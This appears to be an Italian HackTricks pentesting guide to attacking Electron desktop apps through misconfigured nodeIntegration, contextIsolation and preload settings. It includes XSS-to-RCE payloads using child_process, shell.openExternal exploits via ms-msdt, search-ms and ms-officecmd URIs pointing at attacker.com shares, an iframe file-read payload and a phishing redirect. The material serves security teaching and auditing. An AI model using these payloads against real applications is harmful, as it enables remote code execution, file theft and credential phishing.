Electron Desktop Apps

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:


Introduzione

Electron combina un backend locale (con NodeJS) e un frontend (Chromium), anche se mancano alcuni dei meccanismi di sicurezza dei browser moderni.

Di solito potresti trovare il codice dell'applicazione electron all'interno di un'applicazione .asar, per ottenere il codice è necessario estrarlo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Nel codice sorgente di un'applicazione Electron, all'interno di packet.json, è possibile trovare specificato il file main.js dove vengono impostate le configurazioni di sicurezza.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ha 2 tipi di processi:

  • Processo Principale (ha accesso completo a NodeJS)

  • Processo Renderer (dovrebbe avere accesso limitato a NodeJS per motivi di sicurezza)

Un processo renderer sarà una finestra del browser che carica un file:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Le impostazioni del processo renderer possono essere configurate nel processo principale all'interno del file main.js. Alcune delle configurazioni impediranno all'applicazione Electron di ottenere RCE o altre vulnerabilità se le impostazioni sono configurate correttamente.

L'applicazione Electron potrebbe accedere al dispositivo tramite le API di Node anche se può essere configurata per evitarlo:

  • nodeIntegration - è disattivato per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal processo renderer.

  • contextIsolation - è attivato per impostazione predefinita. Se disattivato, i processi principale e renderer non sono isolati.

  • preload - vuoto per impostazione predefinita.

  • sandbox - è disattivato per impostazione predefinita. Limiterà le azioni che NodeJS può eseguire.

  • Integrazione di Node nei Workers

  • nodeIntegrationInSubframes - è disattivato per impostazione predefinita.

  • Se nodeIntegration è abilitato, ciò consentirebbe l'uso delle API di Node.js nelle pagine web che vengono caricate in iframe all'interno di un'applicazione Electron.

  • Se nodeIntegration è disabilitato, allora i preloads verranno caricati nell'iframe

Esempio di configurazione:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Alcuni payload RCE da qui:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Cattura del traffico

Modificare la configurazione start-main e aggiungere l'uso di un proxy come:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Iniezione di Codice Locale in Electron

Se riesci ad eseguire localmente un'applicazione Electron, potresti farla eseguire del codice JavaScript arbitrario. Verifica come farlo in:

pagemacOS Electron Applications Injection

RCE: XSS + nodeIntegration

Se nodeIntegration è impostato su on, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando require(). Ad esempio, il modo per eseguire l'applicazione calc su Windows è:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Lo script indicato in questa configurazione viene caricato prima degli altri script nel renderer, quindi ha accesso illimitato alle API di Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Pertanto, lo script può esportare le funzionalità del nodo alle pagine:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Se contextIsolation è attivo, questo non funzionerà

RCE: XSS + contextIsolation

Il contextIsolation introduce i contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron in modo che l'esecuzione JavaScript di ciascun codice non influenzi l'altro. Questa è una funzionalità necessaria per eliminare la possibilità di RCE.

Se i contesti non sono isolati, un attaccante può:

  1. Eseguire JavaScript arbitrario nel renderer (XSS o navigazione verso siti esterni)

  2. Sovrascrivere il metodo integrato utilizzato nel preload o nel codice interno di Electron con una propria funzione

  3. Scatenare l'uso della funzione sovrascritta

  4. RCE?

Ci sono 2 luoghi in cui i metodi integrati possono essere sovrascritti: nel codice di preload o nel codice interno di Electron:

pageElectron contextIsolation RCE via preload codepageElectron contextIsolation RCE via Electron internal codepageElectron contextIsolation RCE via IPC

Bypass evento di click

Se ci sono restrizioni applicate quando si fa clic su un link, potresti essere in grado di aggirarle facendo un clic centrale invece di un normale clic sinistro

window.addEventListener('click', (e) => {

RCE tramite shell.openExternal

Per ulteriori informazioni su questi esempi controlla https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/

Quando si distribuisce un'applicazione desktop Electron, è cruciale garantire le impostazioni corrette per nodeIntegration e contextIsolation. È stato stabilito che l'esecuzione di codice remoto lato client (RCE) mirata agli script di caricamento o al codice nativo di Electron dal processo principale è efficacemente impedita con queste impostazioni in atto.

All'interazione di un utente con i link o all'apertura di nuove finestre, vengono attivati specifici eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Questi ascoltatori sono sovrascritti dall'applicazione desktop per implementare la propria logica di business. L'applicazione valuta se un link navigato dovrebbe essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa attraverso una funzione, openInternally. Se questa funzione restituisce false, indica che il link dovrebbe essere aperto esternamente, utilizzando la funzione shell.openExternal.

Ecco un pseudocodice semplificato:

Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione openExternal, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a questa risorsa, che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.

Esempi di exploit dei protocolli Windows includono:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Lettura dei file interni: XSS + contextIsolation

Disabilitare contextIsolation abilita l'uso dei tag <webview>, simili a <iframe>, per leggere ed esfiltrare file locali. Viene fornito un esempio che dimostra come sfruttare questa vulnerabilità per leggere i contenuti dei file interni:

Inoltre, viene condiviso un altro metodo per leggere un file interno, evidenziando una vulnerabilità critica di lettura di file locali in un'applicazione desktop Electron. Questo coinvolge l'iniezione di uno script per sfruttare l'applicazione ed esfiltrare i dati:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Vecchio Chromium

Se il chromium utilizzato dall'applicazione è vecchio e presenta vulnerabilità note, potrebbe essere possibile sfruttarlo e ottenere RCE attraverso un XSS. Puoi vedere un esempio in questo articolo: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing tramite bypass regex dell'URL interno

Supponendo di aver trovato un XSS ma non essere in grado di attivare RCE o rubare file interni, potresti provare a usarlo per rubare credenziali tramite phishing.

Innanzitutto è necessario sapere cosa succede quando si cerca di aprire un nuovo URL, controllando il codice JS nel front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Il chiamata a openInternally deciderà se il link verrà aperto nella finestra desktop poiché è un link appartenente alla piattaforma, oppure se verrà aperto nel browser come risorsa di terze parti.

Nel caso in cui il regex utilizzato dalla funzione sia vulnerabile a bypass (ad esempio non facendo l'escape dei punti dei sottodomini) un attaccante potrebbe sfruttare la XSS per aprire una nuova finestra che sarà situata nell'infrastruttura dell'attaccante chiedendo le credenziali all'utente:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Strumenti

  • Electronegativity è uno strumento per identificare configurazioni errate e anti-pattern di sicurezza nelle applicazioni basate su Electron.

  • Electrolint è un plugin open source per VS Code per le applicazioni Electron che utilizza Electronegativity.

  • nodejsscan per verificare le librerie di terze parti vulnerabili.

  • Electro.ng: È necessario acquistarlo.

Laboratori

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puoi trovare un laboratorio per sfruttare le app Electron vulnerabili.

Alcuni comandi che ti aiuteranno con il laboratorio:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Riferimenti

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware stealer.

Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated